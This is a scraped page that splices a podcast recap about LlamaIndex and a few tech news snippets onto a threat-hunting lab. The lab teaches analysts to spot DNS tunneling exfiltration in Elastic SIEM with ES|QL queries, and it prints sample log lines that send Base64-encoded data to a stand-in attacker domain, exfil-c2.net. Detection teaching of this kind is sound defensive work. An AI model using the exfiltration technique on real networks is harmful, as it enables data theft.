Further, coding agents excel at writing code, meaning devs don’t need to rely on extensive libraries. In fact, about 95% of LlamaIndex code is generated by AI. “Engineers are not actually writing real code,” Liu said. “They're all typing in natural language.” This means the layers between programmers and non-programmers is collapsing, because “the new programming language is essentially English.” 

Instead of manual coding or struggling to understand API and document integration, devs can just point Claude Code at it. “This type of stuff was either extremely inefficient or just would break the agent three years ago,” said Liu. “It's just way easier for people to build even relatively advanced retrieval with extremely simple primitives.”

So what’s the core differentiator when the stack collapses? 

Context, Liu says. Agents need to be able to decipher file formats to extract the right information. Providing higher accuracy and cheaper parsing becomes key, and LlamaIndex is well-positioned here, he contends, because of its developments with agentic document processing via optical character recognition (OCR). 

“We've really identified that there's a core set of data that has been locked up in all these file format containers,” he said. Ultimately, “whether you use OpenAI Codex or Claude Code doesn't really matter. The thing that they all need is context.”

Keeping stacks modular

There’s growing concern about builders like Anthropic locking in session data; in light of this, Liu emphasizes the importance of modularity and agnosticism. Builders shouldn’t bet on any one frontier model, or overbuild in a way that overcomplicates components of the stack. 

Retrieval has evolved into “agent-plus-sandbox,” as he describes it, and enterprises must ensure that their code bases are tech debt free and adaptable to changing patterns. They also have to acknowledge that some parts of the stack will eventually need to be thrown away as a matter of course. 

“Because with every new model release, there's always a different model that is kind of the winner,” Liu said. “You want to make sure you actually have some flexibility to take advantage of it.”

Listen to the podcast to hear more about: 

• LlamaIndex’s beginnings as a ‘toy project’ with initially only about 40% accuracy; 

• How SaaS companies can tap into complicated workflows that must be standardized and repeatable for average knowledge workers;

• Why vertical AI companies are taking off and why ‘build versus buy’ is still a very valid question in the agent age. 

You can also listen and subscribe to Beyond the Pilot on Spotify, Apple or wherever you get your podcasts.

I want to tell you about the game that has made me the happiest this month. It’s a game I didn’t complete. It’s a game I didn’t even start. I just held it. And smiled. I have played the game before, but not for many years. Forty of them to be precise.

The game is Daley Thompson’s Super Test for the ZX Spectrum.

The Rust-built Zed editor has reached version 1.0, released yesterday, with development led by former members of the Atom team at GitHub.…

Microsoft's code hosting shack Github has published a lengthy mea culpa about its availability and reliability woes - one that includes the words "we are sorry."…

Get Elastic SIEM Access on hunt-forward.com — 7-day free trial, then $5/month

How to use this lab: Read the story to understand the attack. Then follow the Hunt section to find it yourself in Elastic SIEM. Document your findings in your Hunt Notebook as you go — you’ll use them to build your GitHub portfolio at the end.

📖 Part 1: The Scenario

Wednesday, 9:14 AM. Boston.

Alex Chen is four months in. Dana drops a ticket on his desk without sitting down — “Anomaly flag on DNS. Probably nothing. Take a look.”

He opens the DNS logs. The firm handles M&A cases worth hundreds of millions. Their firewall blocks everything except HTTPS and DNS. The partners are proud of it.

10:00:01  WORKSTATION-07  A  d2h5aXMtdGhpcy1hLWxvbmctc3Vic2RvbWFpbg.exfil-c2.net
10:00:03  WORKSTATION-07  A  Y2xpZW50LWRhdGEtY2h1bmstMQ.exfil-c2.net
10:00:05  WORKSTATION-07  A  Y2xpZW50LWRhdGEtY2h1bmstMg.exfil-c2.net
10:00:07  WORKSTATION-07  A  Y2xpZW50LWRhdGEtY2h1bmstMw.exfil-c2.net

He decodes the first subdomain in CyberChef. why-is-this-a-long-subdomain. The next: client-data-chunk-1.

His hands go cold.

DNS queries carry names, not data — but nobody filters them because blocking DNS breaks the internet. Attackers encode data inside subdomains and fire them at an attacker-controlled nameserver that logs every query. WORKSTATION-07 has been doing this for six days at 200+ queries per hour. The attacker's domain, exfil-c2.net, is twelve days old. The Veridian acquisition — $2.4 billion, closing Friday — belongs to the paralegal on that machine.

The firewall blocked everything. The data left anyway.

Now it’s your turn to find it.

How DNS Tunneling Works — Simply Explained

Before you hunt, you need to understand what you’re looking at. Let’s build this up from scratch.

Step 1: What is DNS?

Every time you type google.com into a browser, your computer asks a question behind the scenes: "What is the IP address for google.com?" A DNS server answers: "It's 142.250.80.46." Your browser then connects to that IP.

That question-and-answer is a DNS query. It happens thousands of times a day on any corporate network — every website visit, every software update, every cloud service call triggers one. It’s so fundamental to how the internet works that blocking it would break everything. Firewalls almost never inspect or block DNS.

Attackers know this.

Step 2: What is a subdomain?

A domain like google.com can have subdomains in front of it — mail.google.com, drive.google.com, docs.google.com. The part before the main domain is the subdomain. Your computer asks: "What is the IP for mail.google.com?" — and the DNS server answers.

Here’s the key insight: the subdomain is just text. It can be anything.

Step 3: How the tunnel works

An attacker installs malware on a victim’s machine. Instead of sending stolen data directly over the network — which the firewall would see and might block — the malware breaks the data into small chunks, encodes each chunk into a string of characters, and uses each chunk as the subdomain of a DNS query:

Normal DNS query:
  "What is mail.google.com?"
  → Asking for an email server. Makes sense.

Tunnel DNS query:
  "What is Y2xpZW50LWRhdGEtY2h1bmstMQ.exfil-c2.net?"
  → That random-looking subdomain? Decoded: "client-data-chunk-1"
  → It's not asking for an IP. It's sending stolen data disguised as a question.

The attacker owns exfil-c2.net. Their nameserver receives every query and logs the subdomain — collecting the stolen data one chunk at a time. The malware doesn't care what IP address comes back. The response is irrelevant. The query itself is the transmission.

Step 4: Why the firewall misses it

┌─────────────────────────────────────────────────────────────────────────────┐
│  What the firewall sees:   DNS traffic → ALLOWED (DNS always passes)         │
│  What's actually in it:    Stolen legal documents, encoded as Base64         │
│                                                                               │
│  The firewall isn't broken. It's doing exactly what it was configured to do. │
│  DNS tunneling abuses trust — not a vulnerability.                           │
└─────────────────────────────────────────────────────────────────────────────┘

Think of it like this: imagine a building where guards check every package that leaves — but they always wave through anyone just asking a question. A thief learns to hide documents inside the questions themselves. “Excuse me, does aGVyZS1pcy10aGUtZmlsZS1jb250ZW50 work here?” The guard hears a question and waves them through. The thief has just walked out with your data.

Step 5: Why it leaves tracks

DNS tunnelling can’t hide one thing: its behaviour. Because the malware must send hundreds of queries to transmit a full file, and because each query carries encoded data instead of a real hostname, the pattern is statistically abnormal:

• Real hostnames are short and readable — mail, cdn, api, s3
• Encoded data subdomains are long and random-looking — Y2xpZW50LWRhdGEtY2h1bmstMQ
• Real apps query many different domains throughout the day
• A tunnel queries one parent domain over and over, hundreds of times per hour

None of that is a signature. No antivirus rule catches it. But an analyst with the right ES|QL query can spot it in seconds.

That’s exactly what you’re about to do.

🎯 Part 2: Your Mission

By the end of this lab you will have:

• ✅ Identified anomalously long DNS subdomains indicating data encoding
• ✅ Detected high-frequency queries to a single suspicious parent domain
• ✅ Measured subdomain entropy to distinguish encoded data from legitimate hostnames
• ✅ Correlated the tunnel to a specific host and user
• ✅ Estimated the volume of data exfiltrated through the tunnel
• ✅ Documented your full investigation in your Hunt Notebook

🔧 Part 3: Lab Setup

You’ll need a Hunt Forward account for this lab. Your Elastic SIEM environment has the dns-tunnel-lab-logs dataset pre-loaded — DNS query logs spanning a full week, with tunnelling activity buried in legitimate corporate DNS traffic.

👉 Sign up at huntforward.com — 7-day free trial, then $5/month

Once you’re in Click Here or :

1. Open Kibana → hamburger menu (top left) → Discover
2. Select the index dns-tunnel-lab-logs
3. Set the time range to April 20–26, 2024 — the tunnel runs across multiple days

You should see DNS query logs with fields for source host, query name, query type, response code, and timestamps. That’s your crime scene.

A Quick Word on ES|QL

Throughout this lab we use ES|QL — Elasticsearch Query Language — instead of clicking through visualisation menus. ES|QL lets you filter, group, count, and calculate statistics on your logs in a single query, directly in Discover.

Every ES|QL query starts with FROM and pipes data through commands using |. Think of each | as "then do this next thing to the results."

To run ES|QL in Kibana:

1. Select ES|QL on the top right corner next to share button in discover.
2. Paste the query and press Run (▶)

🔍 Part 4: The Hunt

Hunt 1 — Find Abnormally Long Subdomains

The first and most reliable DNS tunnelling signal is subdomain length. Legitimate hostnames are designed to be human-readable — mail.hargrove-lyle.com, cdn.slack.com, s3.us-east-1.amazonaws.com. Even the longest legitimate subdomains rarely exceed 30–35 characters. Base64-encoded data chunks routinely hit 50–63 characters (the DNS spec maximum per label).

The dataset already has dns.question.subdomain as a pre-parsed field — the part of the query name before the registered domain. We use EVAL to measure its length, then aggregate by host and parent domain to find anomalies:

esql

What each line does:

• WHERE dns.question.type == "A" — only A record lookups, the most common tunnel carrier
• AND dns.question.subdomain IS NOT NULL — skip queries with no subdomain (bare domain lookups like google.com)
• EVAL subdomain_length = LENGTH(dns.question.subdomain) — measures the character count of the subdomain portion only
• STATS AVG/MAX/COUNT BY source.ip, host.name, registered_domain — groups by attacking host and target domain, producing one row per combination with its length statistics
• WHERE avg_subdomain_len > 30 — filters to domains where the average subdomain is suspiciously long. Legitimate domains cluster at 8–15 characters
• SORT avg_subdomain_len DESC — worst offender at the top

What you’re looking for: One registered domain where the average subdomain length sits far above everything else. In the dataset, exfil-c2.net from WORKSTATION-07 will average over 50 characters — more than 4x the next highest legitimate entry.

📝 Hunt Notebook checkpoint: Record the source IP, hostname, registered domain, average subdomain length, maximum subdomain length, and query count. Note the gap between the top result and all others — that delta is your confidence level.

✅ Anomalous subdomain lengths confirmed. One host is generating DNS queries with subdomains averaging 54 characters — 4x the legitimate baseline.

🏁 Milestone 1 of 4 — Long Subdomain Anomaly Identified Open your Hunt Notebook and paste this template. Fill in your findings.

## 📡 Milestone 1: Abnormal Subdomain Length Detected

**Date of Hunt:** [today's date]
**Lab:** Hunt Forward #003 — DNS Tunneling Detection
**Analyst:** [your name]

### Finding
DNS queries from a single host show average subdomain lengths far exceeding
the legitimate baseline, consistent with Base64-encoded data exfiltration.

| Field                | Value          |
|----------------------|----------------|
| Source IP            | [your finding] |
| Parent domain        | [your finding] |
| Avg subdomain length | [your finding] |
| Max subdomain length | [your finding] |
| Total query count    | [your finding] |
| Legitimate baseline  | 12–15 chars    |

### ES|QL Query Used
```esql
FROM dns-tunnel-lab-logs
| WHERE dns.question.type == "A"
  AND dns.question.subdomain IS NOT NULL
| EVAL subdomain_length = LENGTH(dns.question.subdomain)
| WHERE subdomain_length > 0
| STATS
    avg_subdomain_len = AVG(subdomain_length),
    max_subdomain_len = MAX(subdomain_length),
    query_count       = COUNT()
    BY source.ip, host.name, dns.question.registered_domain
| WHERE avg_subdomain_len > 30
| SORT avg_subdomain_len DESC
| LIMIT 20

Notes

Legitimate DNS subdomains average 12–15 characters. Values above 30 indicate probable encoding. Values above 50 are near-certain data tunnelling.

Severity: High Confidence: High

Hunt 2 — Detect High-Frequency Queries to a Single Domain

Length analysis finds what looks suspicious. Frequency analysis finds how much data is moving. A DNS tunnel exfiltrating a large file must send hundreds or thousands of queries — one chunk per query. That sustained high-rate querying of a single domain is statistically unmistakable.

FROM dns-tunnel-lab-logs
| WHERE dns.question.type == "A"
| EVAL hour_bucket = DATE_TRUNC(1 hour, @timestamp)
| STATS
    queries_per_hour  = COUNT(),
    unique_subdomains = COUNT_DISTINCT(dns.question.name),
    first_seen        = MIN(@timestamp),
    last_seen         = MAX(@timestamp),
    active_days       = COUNT_DISTINCT(DATE_TRUNC(1 day, @timestamp))
    BY source.ip, dns.question.registered_domain, hour_bucket
| WHERE queries_per_hour > 50
| SORT queries_per_hour DESC
| LIMIT 20

What each line does:

• EVAL hour_bucket = DATE_TRUNC(1 hour, @timestamp) — groups time into 1-hour windows so we can measure query rate per hour
• STATS COUNT(), COUNT_DISTINCT(dns.question.name) — total queries AND unique subdomains per window. In a tunnel, every query has a unique subdomain (a new data chunk). unique_subdomains ≈ queries_per_hour is a strong tunnel indicator
• COUNT_DISTINCT(DATE_TRUNC(1 day, @timestamp)) — how many calendar days this pattern has been running — dwell time
• WHERE queries_per_hour > 50 — 50+ A record queries per hour to the same registered domain is well above normal application behaviour
• SORT queries_per_hour DESC — peak tunnel activity windows rise to the top

What you’re looking for: One source IP querying one parent domain at 100+ queries per hour, with unique_subdomains nearly equal to queries_per_hour (meaning every query carries different data), across multiple days.

In the dataset, WORKSTATION-07 has been querying exfil-c2.net at over 200 queries per hour, sustained across 6 days. Every subdomain is unique.

📝 Hunt Notebook checkpoint: Record the peak queries-per-hour, the ratio of unique subdomains to total queries (should be near 1:1 for a tunnel), first_seen, last_seen, and active_days. Calculate total query count across the full tunnel duration.

🏁 Milestone 2 of 4 — High-Frequency Tunnel Activity Confirmed

## 🌊 Milestone 2: High-Frequency DNS Query Pattern

### Frequency Analysis
| Field                     | Value          |
|---------------------------|----------------|
| Source IP                 | [your finding] |
| Parent domain             | [your finding] |
| Peak queries/hour         | [your finding] |
| Unique subdomains / total | [your finding] |
| First seen                | [timestamp]    |
| Last seen                 | [timestamp]    |
| Active days               | [your finding] |

### ES|QL Query Used
```esql
FROM dns-tunnel-lab-logs
| WHERE dns.question.type == "A"
| EVAL hour_bucket = DATE_TRUNC(1 hour, @timestamp)
| STATS
    queries_per_hour  = COUNT(),
    unique_subdomains = COUNT_DISTINCT(dns.question.name),
    first_seen        = MIN(@timestamp),
    last_seen         = MAX(@timestamp),
    active_days       = COUNT_DISTINCT(DATE_TRUNC(1 day, @timestamp))
    BY source.ip, dns.question.registered_domain, hour_bucket
| WHERE queries_per_hour > 50
| SORT queries_per_hour DESC
| LIMIT 20

Conclusion

Unique subdomain ratio near 1:1 confirms every query carries a different data chunk. [X] active days of tunnelling represents significant dwell time and substantial data volume.

Severity: Critical Confidence: High

Hunt 3 — Correlate to Host and User, Estimate Exfiltration Volume

Knowing the technique and the domain isn’t enough. You need to know who and how much. This hunt pins the tunnel to a specific workstation and user, then estimates total bytes exfiltrated by treating each subdomain as a data chunk

FROM dns-tunnel-lab-logs
| WHERE dns.question.registered_domain == "exfil-c2.net"
  AND dns.question.type == "A"
| EVAL subdomain        = LEFT(dns.question.name,
                            LENGTH(dns.question.name) - LENGTH("exfil-c2.net") - 1)
| EVAL chunk_size_bytes = LENGTH(subdomain) * 6 / 8
| STATS
    total_queries         = COUNT(),
    unique_chunks         = COUNT_DISTINCT(dns.question.name),
    estimated_bytes_exfil = SUM(chunk_size_bytes),
    first_query           = MIN(@timestamp),
    last_query            = MAX(@timestamp)
    BY source.ip, host.name, user.name
| EVAL estimated_kb = ROUND(estimated_bytes_exfil / 1024, 1)
| EVAL estimated_mb = ROUND(estimated_bytes_exfil / 1048576, 2)
| SORT estimated_bytes_exfil DESC

What each line does:

• WHERE dns.question.registered_domain == "exfil-c2.net" — scoped to the confirmed malicious domain from Hunt 1 and 2
• EVAL chunk_size_bytes = LENGTH(subdomain) * 6 / 8 — Base64 encodes 6 bits per character, so each character represents 6/8 of a byte. This formula estimates the raw bytes encoded in each subdomain label
• STATS SUM(chunk_size_bytes) — sums estimated bytes across all queries to get total exfiltration volume
• BY source.ip, host.name, user.name — groups by all three identity fields so we see exactly who this is
• EVAL estimated_kb/mb — converts raw bytes to human-readable KB and MB using ROUND for clean output
• SORT estimated_bytes_exfil DESC — largest exfiltration volume first

What you’re looking for: A single row tying the tunnel to one workstation and one user, with an estimated exfiltration volume in the megabytes. In the dataset, WORKSTATION-07 / ryan.porter will show an estimated 4–6MB exfiltrated — consistent with multiple case documents.

📝 Hunt Notebook checkpoint: Record the hostname, username, total query count, unique chunk count, estimated KB and MB exfiltrated, and the full tunnel date range. This is your user attribution and scope estimate.

✅ Tunnel attributed. ryan.porter on WORKSTATION-07 exfiltrated an estimated [X] MB via DNS tunnel to exfil-c2.net over 6 days

🏁 Milestone 3 of 4 — Host, User, and Volume Identified

## 🎯 Milestone 3: Attribution and Exfiltration Scope

### Attribution
| Field                | Value          |
|----------------------|----------------|
| Source IP            | [your finding] |
| Hostname             | [your finding] |
| Username             | [your finding] |

### Exfiltration Volume Estimate
| Field                | Value          |
|----------------------|----------------|
| Total queries        | [your finding] |
| Unique chunks        | [your finding] |
| Estimated bytes      | [your finding] |
| Estimated KB         | [your finding] |
| Estimated MB         | [your finding] |
| Tunnel start         | [timestamp]    |
| Tunnel end           | [timestamp]    |
| Duration (days)      | [your finding] |

### ES|QL Query Used
```esql
FROM dns-tunnel-lab-logs
| WHERE dns.question.registered_domain == "exfil-c2.net"
  AND dns.question.type == "A"
| EVAL subdomain        = LEFT(dns.question.name,
                            LENGTH(dns.question.name) - LENGTH("exfil-c2.net") - 1)
| EVAL chunk_size_bytes = LENGTH(subdomain) * 6 / 8
| STATS
    total_queries         = COUNT(),
    unique_chunks         = COUNT_DISTINCT(dns.question.name),
    estimated_bytes_exfil = SUM(chunk_size_bytes),
    first_query           = MIN(@timestamp),
    last_query            = MAX(@timestamp)
    BY source.ip, host.name, user.name
| EVAL estimated_kb = ROUND(estimated_bytes_exfil / 1024, 1)
| EVAL estimated_mb = ROUND(estimated_bytes_exfil / 1048576, 2)
| SORT estimated_bytes_exfil DESC